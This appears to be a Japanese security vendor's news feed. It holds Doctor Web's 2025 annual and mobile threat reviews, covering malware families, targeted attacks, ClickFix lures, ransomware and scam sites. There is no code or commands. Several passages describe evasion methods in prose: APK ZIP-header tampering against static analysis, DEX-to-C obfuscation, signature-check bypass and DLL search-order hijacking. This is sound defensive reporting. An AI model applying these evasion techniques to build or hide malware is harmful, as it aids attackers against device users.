2025年にも、マルウェア作成者はAndroid向けバンキング型トロイの木馬を解析や検出から保護しようとあらゆるテクニックを駆使し続けています。とりわけ人気なのが、「DEX to C（実行可能DEXコードをC言語コードに変換する）」などの、コードを難読化したり隠したりする手法です。NP Managerユーティリティを使用して悪意のあるアプリを難読化する手法も広く用いられています。

AndroidのAPKファイルである ZIPアーカイブの形式に手を加える手口も根強い人気を誇っています。これには、APKファイルのローカルファイルヘッダ内のフィールド compression method と compressed size を改変するという方法や、ECDR（End of Central Directory Record：中央ディレクトリの終わりレコード）とCD（ファイルやアーカイブパラメータに関するデータが格納される中央ディレクトリ）内のディスクに関する情報を誤ったものにするという方法などがあります。これらの手法に関しては2024年のモバイルマルウェアレビュー内「バンキング型トロイの木馬」セクションにて詳述しています。こうした改変が加えられた後もトロイの木馬アプリは変わらず完璧に動作しますが、多くの静的解析ツールはそれらを破損したものと認識してしまうため正しく処理できなくなります。

Google Playのプロテクト機能回避などを目的に、メインのペイロードを隠蔽するためのドロッパーが使用されるケースも増えています。また、バンキング型トロイの木馬のコード記述にAIアシスタントが利用されるようになっており、このことがマルウェアの開発を簡易化し、新たなファミリーの出現に拍車をかけています。そのほか、バンキング型トロイの木馬の操作と感染させたデバイスからのデータの盗み出しにTelegramボットが使用されるケースも目立つようになっています。

今後の動向と展望

2025年には、依然として最も多く検出されるAndroid脅威である広告を表示するトロイの木馬の活動が活発化し、フィッシングや金銭窃取などの詐欺目的で使用されるさまざまな偽アプリも再び広く拡散されました。バンキング型トロイの木馬による攻撃も増加の一途をたどっています。これら悪意のあるアプリはサイバー犯罪者にとっての不正な収益源であることからその人気はいまだ衰えを知らず、2026年にも引き続き最も多く使用されるツールの1つとなる可能性が極めて高いでしょう。また、バンキング型トロイの木馬の操作にTelegramボットを使用するケースが増えてきており、この傾向は今後も続くものと考えられます。

スマートフォンやTVボックスセットのファームウェア内でトロイの木馬ファミリー Android.Vo1d と Android.Triada の新たな亜種や、Android.Clipper.31 が発見される事例もありました。このことから、攻撃者は検出を極めて複雑で困難なものにするような方法でマルウェアを拡散することに引き続き熱意を注いでいるということが見てとれます。この傾向は2026年も続き、スマートフォン、TVボックスセット、そしてその他さまざまなAndroidデバイスにマルウェアがプリインストールされる新たな事例が発生するものと予想されます。

より広範なタスクを実行できる一層高度かつ精巧なマルウェアが登場することも予測され、これには新たなバックドアやさまざまなスパイウェア型トロイの木馬が含まれるでしょう。Google Playなどの公式アプリストアは今後もマルウェアや望ましくないアプリの拡散源として悪用される可能性が高いと考えられます。

2026年にも、攻撃者は作成したツールを保護するためのあらゆる技術を引き続き積極的に組み込んでくるものと予想されます。コードの記述にAIアシスタントを活用するケースも増加するものとみられ、新たなファミリーの出現を助長する要因となるでしょう。

Doctor Webではモバイルデバイスを狙うサイバー脅威の進化と状況を監視し続け、新たな脅威の出現に迅速に対応してまいります。悪意のあるプログラムや危険なプログラムからお使いのデバイスを守るため、Dr.Web Security Space for mobile devices（モバイルデバイス向けDr.Web Security Space）をインストールすることをお勧めします。

Indicators of compromise（セキュリティ侵害インジケーター）

2025年のウイルスレビュー

Thu, 22 Jan 2026 00:00:00 GMT

2026年1月22日

2025年には、広告を表示させるトロイの木馬が最も多く検出された脅威の1つとなりました。さまざまな悪意のあるスクリプトや、感染させたシステム上で別のマルウェアを起動させるトロイの木馬プログラムも多く検出されています。メールトラフィック内では、ダウンローダ型トロイの木馬、バックドア、エクスプロイト、悪意のあるスクリプト、そしてフィッシングドキュメントが最も多く検出されました。

モバイルデバイスでは、広告を表示させるトロイの木馬とならんで、さまざまな詐欺スキームに用いられる偽アプリが最も多く検出された脅威となりました。バンキング型トロイの木馬の活動も増加しています。また、Google Playでは数十もの新たな悪意のあるアプリ、望ましくないアプリ、アドウェアアプリがDoctor Webのウイルスアナリストによって発見されました。

2025年にテクニカルサポートに寄せられたファイルの復号化リクエスト数は2024年と比較して減少しました。一方で、Telegramアカウントを盗む目的で作成された詐欺サイト数の増加がインターネットアナリストによって確認され、悪質な金融関連サイトも引き続き多く観測されています。

2025年には、複数の標的型攻撃に関してDoctor Webのアンチウイルスラボによる調査が行われました。そのうちの1つはロシアの機械工学系企業を標的とした攻撃で、脅威アクターは複数の悪意のあるツールを使用することで、感染させたコンピューターから機密情報を取得しようと試みています。Doctor Webのエキスパートにより、この攻撃の背後にいるのはハッカー集団「Scaly Wolf」であるということが特定されました。また別のインシデントはハッカー集団「Cavalry Werewolf」がロシア政府機関を攻撃したというものです。この攻撃に関する調査では脅威アクターによって使用されていた多数のツールが特定され、Cavalry Werewolfの特徴やこのハッカー集団が侵害されたネットワーク内で実行する典型的なアクションについても明らかにしています。

2025年を通して、Doctor Webではその他の情報セキュリティインシデントについても記事を公開してきました。1月には複数の異なるマルウェアを使用して仮想通貨Moneroをマイニングするアクティブなキャンペーンが発見され、4月には複数の安価なAndroidスマートフォンモデルのファームウェア内に埋め込まれた、仮想通貨を窃取するトロイの木馬について注意を喚起しました。同じく4月には、ロシア軍関係者をスパイする目的で使用されていた、人気の地図アプリの改変版に埋め込まれたAndroid向けトロイの木馬も発見されています。

7月、Doctor Webは仮想通貨とパスワードを盗むよう設計された新たなトロイの木馬ファミリーについて報告しました。これらトロイの木馬はゲームのmodやパッチ、チートに偽装して拡散されていました。8月にはロシア企業の従業員を標的に拡散されていたモバイルデバイス向けの多機能バックドアについて注意を喚起しています。サイバー犯罪者はこのマルウェアを遠隔操作し、機密情報の窃取や被害者に対するスパイ活動を行っていました。

10月には、メッセンジャーアプリTelegram Xの改変版に埋め込まれて拡散されていたAndroidデバイス向けバックドアが発見されました。このバックドアはTelegramアカウントのログインIDとパスワードをはじめとする機密情報を盗みます。このバックドアを使用することで、脅威アクターはハッキングしたアカウントを乗っ取るだけでなくメッセンジャーそのものを完全にコントロールし、ユーザーに成り代わってさまざまな操作を密かに実行することが可能です。

12月、Doctor Webはサイトのボット対策機能にブロックされないよう人間になりすましてサイトの人気度を人為的に高めるトロイの木馬について記事を公開しました。このマルウェアは脅威アクターから受け取ったパラメータに基づいて検索エンジン内で目的のサイトを自動的に検索して開き、そのWebページ上でユーザーの操作を模倣してクリックを実行します。

また2025年には、悪意のあるアクターがソーシャルエンジニアリング手法でユーザーを騙し、デバイス上で悪意のあるコードを実行させるClickFix攻撃の急増が確認されました。

2025年の主な傾向

広告を表示させるトロイの木馬の活動が活発化
新たな標的型攻撃が発生
ClickFix手法を用いた攻撃が流行
ランサムウェアによって暗号化されたファイルの復号化リクエスト数が減少
Android向けバンキング型トロイの木馬の検出数が増加
Androidデバイスのファームウェア感染の新たな事例を観測
引き続きGoogle Playからさまざまな悪意のあるアプリや望ましくないアプリが拡散される

2025年の最も注目すべきイベント

2025年1月、Doctor Webのスペシャリストは悪意のあるマイナーSilentCryptoMinerを使用して仮想通貨Moneroをマイニングするキャンペーンを発見しました。SilentCryptoMinerのファイルはビデオ通話アプリなどのさまざまなソフトウェアに偽装して拡散され、コンピューターを感染させるとそこにインストールされている他のマイナーを削除します。このキャンペーンが進行するうちに、攻撃者は一部の悪意のあるコンポーネントの拡散に、ある情報を別の情報（画像など）の中に埋め込んで隠す手法であるステガノグラフィを用いるようになりました。特殊な方法で作成された画像がダウンロードされた後、そこからSilentCryptoMinerコンポーネントが抽出されて起動されます。

4月、Doctor Webは複数の安価なAndroidスマートフォンモデルのファームウェア内で発見されたトロイの木馬 Android.Clipper.31 について記事を公開しました。脅威アクターはまずこのトロイの木馬をメッセージングアプリWhatsAppの改変版に組み込み、次にAndroidスマートフォンメーカーのサプライチェーンを侵害することで、そのトロイの木馬化されたWhatsAppをスマートフォンにプリインストールしています。 Android.Clipper.31 はWhatsApp内で送受信されるメッセージを傍受し、仮想通貨TronおよびEthereumのウォレットアドレス形式に一致する文字列を検出してそれらを攻撃者のアドレスに置き換えます。同時に、置き換えに気づかれることのないようユーザーに対しては正しいウォレットアドレスを表示させます。

4月下旬、Doctor Webのエキスパートは地図アプリ「AlpineQuest」の一部のバージョンに埋め込まれてロシア軍関係者をスパイする目的で使用されていたトロイの木馬 Android.Spy.1292.origin を発見しました。このトロイの木馬は感染したデバイスから機密情報を収集するほか、攻撃者がファイルを盗むことも可能にします。

7月、Doctor Webは仮想通貨やパスワードを盗むよう設計されたトロイの木馬 Trojan.Scavenger について記事を公開しました。このトロイの木馬はゲームのmodやチート、パッチなどに偽装して拡散され、DLL検索順序ハイジャッキング脆弱性を悪用するなどの方法で正規ソフトウェアを利用して起動されます。

8月、Doctor Webはロシア企業の従業員を標的とした多機能バックドア Android.Backdoor.916.origin の拡散について記事を公開しました。このマルウェアはアンチウイルスに偽装してメッセンジャーのダイレクトメッセージ（DM）から拡散され、標的デバイスを感染させた後は機密情報を収集するほか、攻撃者が被害者をスパイすることを可能にします。

8月には、ロシアの機械工学系企業を狙ったScaly Wolfグループによる標的型攻撃に関する調査レポートも公開しています。この攻撃では複数の悪意のあるツールが用いられており、そのうちメインとなるものの1つがモジュール型バックドアUpdatarでした。Updatarは攻撃者が感染させたコンピューターから機密データを収集することを可能にします。

10月、Doctor WebのエキスパートはメッセンジャーアプリTelegram Xの改変版に埋め込まれたバックドア Android.Backdoor.Baohuo.1.origin を発見しました。Android.Backdoor.Baohuo.1.origin はTelegramアカウントからログインIDとパスワードをはじめとする機密データを窃取します。また、脅威アクターがユーザーのアカウントとメッセンジャー自体の両方を完全にコントロールし、ユーザーに成り代わってさまざまな操作を密かに実行することを可能にします。たとえば、ユーザーをTelegramチャンネルに参加・退出させたり、特定のチャットや新規認証済みデバイスを非表示にしたりすることができます。

11月、Doctor Webはハッカー集団「Cavalry Werewolf」によるロシア政府機関を狙った標的型攻撃について調査レポートを公開しました。この調査において、Doctor WebのエキスパートはCavalry Werewolfが攻撃キャンペーンで使用していた多数の悪意のあるツールを特定することに成功しています。それらのツールにはオープンソースツールも含まれていました。Cavalry Werewolfの特徴についても調査が行われ、リバースシェルバックドアを好んで使用していること、感染させたコンピューターの操作にTelegram APIを頻繁に使用していることが明らかになりました。また、この攻撃は政府機関を騙って送信されるフィッシングメールから始まっており、これらのメールにさまざまな公文書を装ったマルウェアが添付されていました。

12月、Doctor Webは人間になりすましてサイトの人気度を人為的に高めるマルウェアTrojan.ChimeraWire に関する調査結果を公開しました。このトロイの木馬は悪意のあるアクターから受け取ったパラメータに従って、検索エンジンGoogleとBing内で目的のサイトを探してそれらを開き、そのサイト上でユーザーの操作を模倣してクリックを実行します。Trojan.ChimeraWire はDLL検索順序ハイジャッキング脆弱性を悪用する複数の悪意のあるダウンローダによってコンピューターにインストールされます。

2025年にはClickFix手法を用いた攻撃が急増しました。この攻撃はソーシャルエンジニアリングの一種で、攻撃者がユーザーを巧妙に操りデバイス上で悪意のあるコードを実行させるというものです。ユーザーが侵害されたサイトや偽サイトにアクセスすると、ブラウザのエラーによりWebページを正しく表示できない、あるいは更新が必要であるなどと通知する警告メッセージが表示され、問題を「修正（fix）」するよう誘導されます。攻撃の種類によって、ユーザーはWebページ上に表示されている文字列をコピーするか、またはただ単に該当するボタン（「更新」、「修正」など）をクリックするよう指示されます。後者の場合、攻撃者が必要とする内容（悪意のあるコードなど）は自動的にクリップボードにコピーされます。続けて、ユーザーはコマンドラインまたはPowerShellターミナルを起動し、そこにクリップボードの内容を貼り付けてキーボードの「Enter」キーを押すよう促されます。こうして、被害者は自らの手で悪意のあるコードを実行する格好となり、ここから感染チェーンが開始されます。ClickFix攻撃の詳細についてはこちらの記事をご覧ください。

マルウェアに関する状況

Dr.Webアンチウイルス製品の検出統計によると、2025年に検出された脅威の合計数は2024年と比較して5.45%増加し、一方でユニークな脅威の数は15.89%減少しています。最も多く検出された脅威はさまざまな悪意のあるスクリプトとアドウェア型トロイの木馬となり、別の悪意のあるアプリを起動させるトロイの木馬も多く検出されました。また、AutoItスクリプト言語で書かれたトロイの木馬による攻撃も引き続き確認されています。このトロイの木馬は別のマルウェアと一緒に拡散されて、それらの検出を困難にするよう設計されています。

VBS.KeySender.6
VBS.KeySender.7: mode extensions、разработчика、розробника というテキストを含むウィンドウを無限ループで検索し、Escapeキー押下イベントを送信してそれらを強制的に閉じる悪意のあるスクリプトです。
Trojan.BPlug.4242: WinSafeブラウザ拡張機能の悪意のあるコンポーネントの検出名です。このコンポーネントはブラウザに迷惑な広告を表示させるJavaScriptファイルです。
Trojan.Starter.8319
Trojan.Starter.8326
Trojan.Starter.8332: マルウェア Trojan.AutoIt.289 とそのコンポーネントを起動する悪意のあるXMLスクリプトの検出名です。
JS.Siggen5.44590: パブリックJavaScriptライブラリes5-ext-mainに追加される悪意のあるコードです。タイムゾーン設定がロシア国内のものになっているサーバーにパッケージがインストールされた場合に、特定のメッセージを表示します。
Trojan.Siggen30.53926: 脅威アクターによって改変されたElectronフレームワークのホストプロセスの検出名です。Steamアプリケーションのコンポーネント（Steam Client WebHelper）に偽装し、JavaScriptバックドアをロードします。
JS.MalVpn.1: さまざまな悪意のあるプログラムによってC2サーバーへの接続に使用される悪意のあるスクリプトです。
Trojan.Siggen31.34463: 感染したシステムにさまざまなマイニング型トロイの木馬やアドウェアをダウンロードするよう設計された、Go言語で記述されたトロイの木馬です。このマルウェアは %appdata%\utorrent\lib.dll に置かれるDLLファイルで、Torrentクライアント「uTorrent」のDLL検索順序ハイジャッキング（DLL Search Order Hijacking）脆弱性を悪用することで起動します。

2025年にメールトラフィック内で最も多く検出された脅威は、別のマルウェアをダウンロードしてインストールするトロイの木馬となっています。また、さまざまなバックドア、エクスプロイト、フィッシングドキュメント、そして悪意のあるスクリプトも拡散されました。

W97M.DownLoader.2938: Microsoft Officeドキュメントの脆弱性を悪用するダウンローダ型トロイの木馬のファミリーです。感染させたコンピューターに別の悪意のあるプログラムをダウンロードすることもできます。
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Microsoft Officeソフトウェアの脆弱性を悪用し、攻撃者が任意のコードを実行できるようにするエクスプロイトです。
JS.Phishing.684
JS.Phishing.745: フィッシングページを生成する悪意のあるJavaScriptスクリプトです。
BackDoor.AgentTeslaNET.20: 機密情報を窃取するよう設計されたスパイウェアです。ブラウザやメッセンジャー、メールクライアント、データベースなどといった多くのプログラムからログインIDとパスワードを収集して攻撃者に送信します。また、クリップボードの内容を盗み、キーロガー機能を備え、スクリーンショットを撮ることも可能です。
Win32.Expiro.153: Windows実行ファイルを感染させるファイルウイルスです。さまざまなプログラムのパスワードを窃取することを主な目的としています。
JS.DownLoader.1225: 疑わしい名前のJavaScriptを含むZIPアーカイブのヒューリスティック検出名です。
Trojan.PackedNET.3223: パッカーで保護されたマルウェアの検出名です。
Trojan.AutoIt.1413: AutoItスクリプト言語で記述された悪意のあるアプリ Trojan.AutoIt.289 の、パックされたバージョンの検出名です。マイニング型トロイの木馬やバックドア、自己増殖型モジュールなど複数の悪意のあるアプリグループの一部として拡散されます。Trojan.AutoIt.289 はメインのペイロードの検出を困難にする、さまざまな悪意のある動作を実行します。

暗号化ランサムウェア

2025年には、ランサムウェア型トロイの木馬に感染したユーザーからDoctor Webのテクニカルサポートに寄せられるファイルの復号化リクエスト数に2024年と比較して35.98%の減少がみられました。以下のグラフは2025年におけるリクエスト数の推移を表しています。

2025年に最も多く検出されたランサムウェア：

Trojan.Encoder.35534 （リクエストの23.22% ）: Mimicとしても知られるランサムウェアです。Windowsコンピューター上のファイルを高速で検索できる正規ソフトウェア「Everything」の everything.dll ライブラリを使用します。
Trojan.Encoder.35209 （リクエストの3.33% ）: ランサムウェアContiのソースコードを基にしたランサムウェア型トロイの木馬です。ChaCha20アルゴリズムを使用してファイルを暗号化します。脅威アクターのC2サーバー数台を停止させることに成功し、RSA暗号の秘密鍵が公開されたことで、現在ではこのトロイの木馬の一部の亜種によって暗号化されたファイルを復号化することが可能です。
Trojan.Encoder.35067 （リクエストの2.50% ）: Macopとしても知られるランサムウェア型トロイの木馬です（Trojan.Encoder.30572 はこのトロイの木馬のまた別の亜種の１つです）。サイズは30～40KB程度と小さく、トロイの木馬にサードパーティの暗号化ライブラリが組み込まれておらず、暗号化とキーの生成にCryptoAPIのみを使用するということがその一因となっています。ファイルの暗号化にはAES-256アルゴリズムを使用し、キー自体はRSA-1024を使用して暗号化されます。
Trojan.Encoder.41868 （リクエストの2.31%）: そのアーティファクトから、ハッカー集団「C77L」が作成に関わっていることが示されているランサムウェアです。
Trojan.Encoder.29750 （リクエストの2.13% ）: 複数のバージョンを持つランサムウェア型トロイの木馬です。現在の亜種はAES-256+RSAアルゴリズムを使用してファイルを暗号化します。

インターネット詐欺

2025年には、メッセンジャーアプリTelegramのユーザーアカウントを盗むフィッシングサイトの増加がDoctor Webのインターネットアナリストによって確認されました。悪意のあるアクターは偽の認証画面や、利用規約違反について通知してアカウントの確認を行うよう求めるTelegramサポートを装った偽のメッセージなどといったさまざまな手口を用いています。

利用規約違反について通知してTelegramアカウントの確認を行うよう求めるフィッシングサイトの例

ゲームプラットフォームやオンラインストアなど他のサービスのユーザーを標的にした同様のサイトも発見されています。これらの偽サイトは正規サイトとそっくりな外観で、アカウントにログインするようユーザーを誘導します。罠にかかったユーザーは機密情報を攻撃者に渡してしまうことになります。

アカウント名とパスワードを入力するためのフィッシングフォームを表示させる、ゲームプラットフォーム「Steam」の偽サイト

あらゆる種類のギフトやボーナス、あるいは「お得なプロモーション」を提供する詐欺サイトも引き続きさまざまなものが出現しています。ロシアで多く見られたのは、賞品の抽選に参加できるとうたってユーザーを誘う偽のマーケットプレイスサイトでした。これらのサイトでは必ずユーザーが「当選」するようプログラムされており、当選後は賞品を受け取るためにまず税金を、そして次は送料、その次は保険料、などといった具合に次から次へと支払いを要求してきます。賞品の在庫がないため代わりに現金で受け取ることができるとユーザーに提案するバージョンも確認されていますが、この場合も同様に手数料や保険料などと称して支払いを要求されます。最終的に被害者が賞品を受け取ることはありません。

「賞品の抽選」に参加できると誘う偽のマーケットプレイスサイトの例

同様の手口の1つに、英国のユーザーを標的とした公共交通機関の偽サイトがあります。交通系ICカードの「限定版」が当たるゲームに参加するようユーザーを誘うというもので、記念バージョンであるこれらの限定版ICカードを使用すれば対象となる公共交通機関を無料で利用できるとうたっています。ユーザーは必ず「当たり」を引くようになっていますが、獲得したカードを「受け取る」ために個人情報を提供して少額の手数料を支払うよう求められます。

公共交通機関を装い、交通系ICカードが当たる抽選に参加するよう誘う詐欺サイト

金融関連の詐欺サイトも依然としてあらゆるものが横行しています。なかでも詐欺師の間で揺るがぬ人気を誇っているのが、独自のアルゴリズムや人工知能（AI）に基づく自動システムを活用した市場取引で利益を得ることができると主張する詐欺サイトです。あらゆる国のユーザーを標的としたものが観測されており、その多くは「リクエスト」申請や「アカウント」登録のためと称して個人情報を要求します。提供された情報は攻撃者の手に渡り、後に転売されたり、ユーザーをさらなる偽の投資サービスに誘い込み「取引」アカウントに入金するよう誘導したりする目的で使用される可能性があります。

Apple 社と関連があるとうたい、AIを活用した「投資プラットフォーム」へのアクセスを提供する詐欺サイトの例

こうしたサイトのなかには、特定の企業の「バーチャルアシスタント」や「社員」を装った詐欺師との偽のチャットという似たようなテンプレートを使用するものが多くみられます。ユーザーはチャット内でいくつかの質問に回答して個人情報を提供するよう求められます。

フランスのユーザーを標的としたサイトの1つ：架空の自動取引ソフトウェア「TraderAI」へのアクセスを提供し、このソフトウェアを使用することで3,500ユーロから始めて高額の収入を得ることができるとうたっている

メッセージングアプリTelegram 内で取引を行うことができる投資サービスを宣伝するサイトも確認されています。このサイトでは、グローバル企業の株を「スマートフォンのブラウザ内で直接」自動売買して月に1万ユーロを稼ぐことができると約束しています。

株を自動売買するという「Telegramプラットフォーム」に参加するよう誘う詐欺サイト

Telegram、WhatsApp、TikTokなどの大手企業やサービスが開発に関わっているとする「取引ボット」を使用してお金を稼ぐことができると主張する詐欺サイトもありました。

WhatsAppと関連があるとする架空の取引ボットを活用するようユーザーを誘うサイトの例

2025年を通して、ロシアやCIS（独立国家共同体）、欧州諸国を含む多くの国のユーザーを標的に石油・ガス部門への投資を勧める新たな詐欺サイトが発見されています。これらのサイトでも、多くの場合ユーザーは氏名や携帯電話番号、メールアドレスなどといった個人情報を提供するよう要求されます。

キルギスのユーザーを標的に「石油・ガス取引で儲け」て大きな利益を得ることができると約束する詐欺サイト

給付金や補助金などの「政府支援」を約束する詐欺サイトも依然として後を絶ちません。ロシアのユーザーを標的としたものでは、ロシア政府ポータルサイト（Gosuslugi）と関連があるとうたう詐欺サイトが主流となっています。

ロシア政府ポータルサイト（Gosuslugi）と関連があるとうたい、政府と大手石油・ガス会社からの安定した支払いを約束する詐欺サイトの例：この給付金プログラムに「参加」するためにユーザーは個人情報を提供するよう求められる

教育関連を装った詐欺サイトにも新たなものが出現しています。金融リテラシーを向上させたり、特定の職業のスキルを習得したりするためのさまざまな教育・トレーニングコースを提供するサイトが観測されました。他の手口と同様、これらのサイトでもユーザーはトレーニングに「アクセス」するために個人情報を提供するよう要求されます。

英語学習を提供する詐欺サイト

2025年には、劇場チケットを販売するという新たな詐欺サイトが登場しました。こうしたサイトではチケットを割引価格で提供していますが、購入代金を支払ったユーザーがチケットを受け取ることはありません。

存在しない劇場チケットを販売する詐欺サイトの1つ

そのほか、映画チケットを販売するプライベートシアターの偽サイトも多くみられるようになりました。これらのサイトでも支払った購入代金は詐欺師の手に渡り、被害者がチケットを受け取ることはありません。

プライベートシアターの偽サイト

モバイルデバイス

Dr.Web Security Space for mobile devices（モバイルデバイス向けDr.Web Security Space）によって収集された検出統計によると、2025年には広告を表示させるトロイの木馬 Android.MobiDash と Android.HiddenAds、そしてうたわれた機能を実行する代わりにさまざまなWebサイト（詐欺サイトや悪意のあるサイトを含む）を開く偽アプリ Android.FakeApp が最も多く検出されたAndroidマルウェアとなりました。サイバー犯罪者によってAndroidデバイスのファームウェアに埋め込まれる多機能トロイの木馬 Android.Triada の活動も増加しています。バンキング型トロイの木馬については、Android.Banker Android.Bankerによる攻撃が増加する一方で、Android.SpyMax の活動は減少しています。

2025年にも、マルウェア作成者は悪意のあるAndroidアプリを解析や検出から保護しようとあらゆるテクニックを駆使し続けています。そのうちの1つにDEXコードをCコードに変換するという手法がありました（DCCとも呼ばれます）。

最も多く検出された望ましくないアプリケーションは Program.FakeMoney となりました。これらはさまざまなタスクを完了することで仮想報酬を得ることができるとうたうアプリで、この報酬は現金化できるとされていますが実際にユーザーがお金を受け取ることはありません。また、Program.FakeAntiVirus.1 と Program.CloudInject.1 も多く検出されています。Program.FakeAntiVirus.1 はアンチウイルスの動作を模倣して存在しない脅威の検出を通知し、検出された問題を「修復」するために製品の完全版を購入するよう促すアプリです。Program.CloudInject.1 はクラウドサービスCloudInjectを使用して改造されたアプリで、その改造過程で危険なシステム権限や難読化されたコードが追加されます。その目的を改造者はコントロールすることができません。

最も多く検出されたリスクウェアはNP Managerユーティリティを使用して改造されたアプリとなりました（Tool.NPModとして検出）。NP Managerはアプリのコードを難読化し、改造後にデジタル署名の検証をすり抜けることを可能にします。最も多く検出されたアドウェアは、ユーザーの使用中に自動で広告リンクを開くWhatsApp MessengerのMod（改造版）Adware.ModAd.1 でした。

2025年には、Androidデバイスのファームウェア感染について新たな事例が確認されました。Doctor Webではそのうちの1例について4月に記事を公開しています。複数の安価なスマートフォンモデルのシステム領域内に、ユーザーから仮想通貨を盗むトロイの木馬 Android.Clipper.31 がプリインストールされていたというものです。また別のAndroidスマートフォンモデルのファームウェア内に危険なトロイの木馬 Android.Triada が埋め込まれているという事例もありました。そのほか、2024年にDoctor Webによって発見されたトロイの木馬 Android.Vo1d の新たな亜種によるAndroid TVボックスセットのファームウェア感染にも新たな事例が観測されています。

2025年を通して、Doctor Webのアンチウイルスラボではいくつもの危険なマルウェアを特定してきました。4月には、脅威アクターによって改変された地図アプリ「AlpineQuest」内に潜むトロイの木馬 Android.Spy.1292.origin について記事を公開しています。Android.Spy.1292.origin はロシアの軍関係者を標的としており、携帯電話番号とアカウント、電話帳の連絡先、デバイスの位置情報、デバイスのメモリ内に保存されているファイルに関する情報といった機密データをサイバー犯罪者に送信していました。また、攻撃者からコマンドを受け取った場合は特定のファイルを盗むこともできます。主に狙われていたのはユーザーがTelegramやWhatsApp経由で送信する機密文書、そしてAlpineQuestによって作成される位置情報ログファイルでした。

8月には、人気のメッセージングアプリのダイレクトメッセージ（DM）からアンチウイルスを装って拡散されていたバックドア Android.Backdoor.916.origin について記事を公開しました。Android.Backdoor.916.origin は機密情報を窃取し、攻撃者がユーザーをスパイすることを可能にします。その主たる標的はロシア企業の従業員でした。

10月には、メッセンジャーアプリTelegram Xの改変版に潜む多機能バックドア Android.Backdoor.Baohuo.1.origin が発見されました。このマルウェアは被害者のTelegramアカウントからログインIDとパスワード、着信SMS、チャット、クリップボードの内容などといった機密データを窃取します。さらに、Android.Backdoor.Baohuo.1.origin を使用することで攻撃者はハッキングしたアカウントとメッセンジャー自体の両方を完全に乗っ取ることが可能です。このバックドアの操作には従来の方法であるC2サーバー経由に加え、これまでAndroidマルウェアでは例を見ないRedisデータベース経由でのコマンド送信が使用されています。Android.Backdoor.Baohuo.1.origin の標的とされていたのは主にブラジルとインドネシアのユーザーでした。

2025年のモバイルデバイスを取り巻くセキュリティ脅威の状況についての詳細はこちらのレビューをご覧ください。

今後の動向と展望

2026年にも、サイバー犯罪者の違法な収益源であるアドウェア型トロイの木馬が最も多く検出される脅威の1つとして君臨し続けるでしょう。同じくサイバー犯罪者に利益をもたらすバンキング型トロイの木馬もますます多く使用されるようになると予想されます。

2026年には、パッカーや難読化ツール、悪意のあるドロッパーや多段階ダウンローダ、ペイロードを隠すためのステガノグラフィの使用をはじめとした、悪意のあるアクティビティを隠蔽するためのさまざまなツールや手法が一層広く用いられるようになる可能性があります。また、マルウェアの作成にAIアシスタントがますます多く活用されるようになるとみられます。これによりプログラミング経験の浅いサイバー犯罪者でもマルウェア生成が可能となり、新たなマルウェアファミリーの出現と脅威数の増加を引き起こすことになるでしょう。

政府機関や企業は引き続きサイバー犯罪者のターゲットとなり、標的型攻撃が増加するでしょう。AndroidスマートフォンやTVボックスセット、そしてその他モバイルデバイスのファームウェアが感染する新たな事例も発生する可能性が高いと考えられます。特に低価格帯のデバイスで気を付ける必要があります。インターネット詐欺は今後も横行するでしょう。

Dr.Web FixIt! ライセンス使用許諾の更新

Mon, 29 Dec 2025 15:42:04 GMT

Dr.Web FixIt! のライセンス使用許諾契約が更新されました。
更新後の契約内容は、以下のリンクよりご確認いただけます。https://license.drweb.com/agreement 。

Dr.Web FixIt! は、Windows OS に対応したワークステーションおよびサーバーを対象に、詳細なセキュリティ解析を行い、検出されたウイルス脅威や潜在的な脆弱性を駆除するためのソリューションです。他のサイバーセキュリティツールでは検出が困難な最新型マルウェアや、標的型攻撃に悪用されるプログラムを検出できる点が、Dr.Web FixIt! の大きな特長です。

本製品は、ITインフラのセキュリティ監視やサイバーインシデント解析を行う専門家の利用を想定して開発されていますが、専任の SOC チームが存在しない環境においても、ワークステーションやサーバー上の脅威を検出し、修復を実行することが可能です。

また、必要に応じて、Dr.Web FixIt! を用いて取得した解析情報について、Doctor Web の専門家による分析支援を依頼することができます。その際は、専門家サポートが提供されるサーティフィケートをご購入いただく必要があります。

Dr.Web FixIt! は、Doctor Web パートナーよりご購入いただけます。

2025年第4四半期のモバイルマルウェアレビュー

Fri, 26 Dec 2025 02:00:00 GMT

2025年12月26日

Dr.Web Security Space for mobile devices（モバイルデバイス向けDr.Web Security Space）によって収集された検出統計によると、2025年第4四半期に最も多く検出されたAndroid脅威は引き続き、迷惑な広告を表示するトロイの木馬Android.MobiDash および Android.HiddenAdsとなりました。ただし、その活動には低下がみられ、検出数はそれぞれ43.24%と18.06%減少しています。Android.Siggen ファミリーに属するトロイの木馬がその後を追う形となりましたが、その検出数も27.47%減少しています。このトロイの木馬ファミリーにはそれぞれ異なる機能を持つ多様なマルウェアが含まれています。

一方でバンキング型トロイの木馬の活動には顕著な活発化がみられ、その検出数は65.52%増加しています。この増加を牽引しているのがAndroid.Bankerファミリーに属するトロイの木馬です。これらトロイの木馬は銀行取引の確認用ワンタイムコードを含んだSMSを傍受するほか、正規銀行アプリの外観を模倣したり、フィッシング画面を表示したりすることも可能です。

最も多く検出された望ましくないアプリケーションは、クラウドサービスCloudInjectを使用して改造されたAndroidアプリとなりました（Dr.WebアンチウイルスによってProgram.CloudInjectとして検出）。CloudInjectを介した改造ではアプリに危険な権限や難読化されたコードが追加され、そのコードの目的はコントロールすることができません。また、アンチウイルスの動作を模倣して存在しない脅威の検出を通知し、感染から「修復」するために製品の完全版を購入するよう促す偽アンチウイルスProgram.FakeAntiVirus や、さまざまなタスクを完了することでお金を稼ぐことができるとうたうアプリ Program.FakeMoneyも多く検出されています。

最も多く検出されたリスクウェアは、NP Managerユーティリティを使用して改造されたアプリTool.NPModとなりました。このユーティリティはアプリのコードを難読化し、デジタル署名の検証をすり抜けることを可能にする特殊なモジュールを埋め込みます。最も多く検出されたアドウェアの座は依然としてAdware.Adpushファミリーが占めています。これらは開発者によってアプリに組み込まれる特殊なソフトウェアモジュールで、広告を含んだ通知を表示させます。

